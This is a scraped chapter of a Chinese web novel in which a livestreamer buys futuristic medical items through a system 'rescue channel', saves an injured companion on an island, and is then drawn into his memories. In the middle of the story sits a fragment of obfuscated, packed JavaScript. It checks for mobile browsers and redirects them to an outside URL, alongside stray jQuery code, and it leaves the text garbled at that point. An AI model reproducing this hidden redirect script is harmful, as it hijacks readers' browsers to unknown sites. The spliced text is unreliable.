红色通道开启过程中,您可以消耗积分购买物品,通过通道传送。但,必须提醒您的是,一旦购买成功,不可取消交易,下次也不能再用,您是否要求进行交易?” 下次也不能再用,什么意思? 李若水怔怔地听着这些听不懂的句子,她不知道自己弄明白了没有,好像它的意思是,她可以选择买一些东西?可是在虚拟世界买东西又有什么用?她看了眼昏迷的、呼吸微弱的陈英喆——人一旦死去,再也不会活过来。 系统又提示了一遍:“请您选择是否进行交易。” 【我怎么看到红色救援通道开启了?是我的错觉吗?都多少年没开启过了。】 【我靠,主播牛啊,救援通道都能开启。这决心得多强烈啊。】 决心?什么决心? 是她要救陈英喆的决心吗?那确实很强烈。 李若水回道:“好,我交易。” “请您选购。”机械音冷酷无情地说。 面前的画面倏地转变,变成了酷似购物网站上的闲逛页面,琳琅满目五彩缤纷的商品看得李若水目不暇接,她眼眶里的泪水还没干,瞪大眼睛看着这些她从未见过的商品。 虚拟屏幕近在眼前,她不敢置信地将手掌贴近透明的页面,被她触摸到的商品立刻弹出了详细信息介绍。 “超级压缩面包:吃了能管一个月肚子不饿。适宜用户:学生、特种兵、野外生存爱好者、备考人群。” 李若水点了一下面包的标志,弹窗跳出来——“超级压缩面包:消耗积分250,是否确认成交?” “是。” 下一秒,李若水不可思议地看着手中凭空出现的面包!小小的一个牛角包,馅儿是彩椒和火腿的,发出喷香扑鼻的酵母气息。 李若水握着牛角面包,愣了一瞬,紧接着指尖都开始发颤。 虚拟世界购买的物品……居然真的到了她手里! 李若水放下牛角包,疯狂地在页面上翻找着! 这是来自一千年之后的产品,五十年,世界就能科技革新大逆转,千年啊,千年!谁知道这上面都有些什么产品?她一定要找到能救陈英喆的东西! 大概是因为她购买的第一个商品是野外生存类的,页面果然给她推荐了更多生存类的产品。 “小型电压急救仪:无论是被掐死,还是被淹死,无论是心梗,还是脑梗,只要离阎王爷还有一线之隔,都可以抢救回来哦。” 就是它! 李若水狂喜!她毫不犹豫地选择了交易,这个商品太有用了!在这么危险的荒岛,拥有这种物品,无疑是多了一条命!有了这个,陈英喆就有救了! 这个商品所需的积分也十分昂贵,顿时,她的积分被扣去一大半,只剩下200多点积分了。 买完以后,她才注意到商品下方一行小小的角标备注。 “注:出血量极大的外伤不可使用。” 什么? 李若水颓唐地坐倒在地,敲打着脑袋。 都怪自己马虎,这么重要的东西不仔细看备注,现在好了,只剩下最后一次机会,还能找到能救回陈英喆的东西吗? 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15639544|169730||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >她不停地翻动着页面,各种稀奇古怪的商品从她手指下划过,它们很好,可全都不是她要的。 翻到最后,就在李若水快要绝望的时候,终于出现了让她眼前一亮的商品。 “仿古金疮药:仿照千年前古法所制外包装的高级外伤药品,别看它外表复古,其实是最新细胞医疗高科技膏药哦,烫伤、刀伤、咬伤,无所不治,涂上去百发百灵,细菌感染手到擒来,五分钟就见效。” “所需积分:200。” “注:若有腐肉,请割掉再使用。” 李若水狠狠地按下去交易键。积分清空,她手里瞬间多了一小白瓷罐药膏,分量沉甸甸的。 陈英喆的呼吸已经虚弱到近乎没有,身体烫得吓人,李若水真怕他把脑子烧坏了,一觉醒来变成个傻子。 她将男生的裤脚挽得更高一些,小腿上的肉腐臭难闻。尽管荒谬,可是必须割掉,不然无法使用药膏。这么想着,李若水捏着刀背的手却抖得怕人,下不去手。她从小到大都是敢做敢为的性格,刀法耍得是好,但,她从没有用手里的刀生生地去伤害过活人。一时间,她怎么也过不去这个心理负担。 【主播,都这个时候了,别讲究什么慈悲为怀了啊。】 【人命大过天啊!】 弹幕说得对。李若水捏紧刀背,手朝腐烂的伤口伸了过去,刀刃割破了她的指腹,鲜血滴滴答答滴下来,她急促地喘着气,竟然也不觉得疼了。 割掉了腐烂的肉,给伤口涂抹上了药膏,李若水已经满脸是汗,一仰头就躺倒在柔软的草地上。 她在心里默数着秒钟。 一秒、两秒、三秒……心脏的跳动声变成秒针分针的转动声。五分钟走得是如此漫长,长到她仿佛在这香气里已经走过了长长的一生。 五分钟过去,她坐起来,看向陈英喆,面前的情景令她大喜过望,男生的呼吸已经平稳绵长,面颊的潮红也已经褪去。看上去与正常人睡着的样子没什么区别。 李若水试了一下他额头的温度,已经不再烫手了。 她激动得热泪盈眶。恨不得要昭告天下,他活了,她没有放任他在她面前死去!她救活了一个人! 李若水这才想起要找手机,手机当时被她遗落在草地上,她捡起手机,惊讶地发现通话界面居然还亮着。 李若水试探性地问了一句:“喂?” “喂。”那边似乎已经困了,可是听到李若水的声音,还是振奋起来,“若水姐,你回来了!发生了什么?我真怕你们出事!一直在这里听着,可是听不到声音……” 听着女孩银铃般的声音,李若水捂住眼睛,眼眶湿润得像是刚把脸埋进水里一样,湿漉漉的。 “没事了,”她说,“陈英喆伤口感染,发了高烧,现在已经退烧了。” 想了想,又说:“小凡,你找私人救援队吧,我来出钱,我告诉你大致的定位位置,救援队快到的时候我会拉响迷彩烟。陈英喆虽然脱离了危险,还是需要更安全的救治,不然他依然会有性命之虞。” 杜小凡毫不犹豫答道:“行,我现在就去联系。” 挂断电话后,李若水躺在地上,仰头望着天,感觉到一阵疲累的晕眩。大概是这有毒的香气吸了太多,进入血液了吧。 这么想着,蔚蓝的天空竟然开始逆时针旋转起来,周围的景象也开始剧烈地抖动。 怎么回事?李若水慌张地坐起身,地震了? 但是蓝色的花海逐渐变成半透明的颜色,翠绿的草地逐渐褪去,天空变得更蓝,是一种未经污染、年少轻狂的蓝。 这时,她听见那个熟悉的机械音又响起来了。 “检测到宿主血液与陈英喆血液交融度达99.99%,技能‘随着血液流淌至深处的是我的珍藏回忆’已开启,观众共享已点亮,祝您使用愉快。” “即将为您读取——陈英喆的回忆。”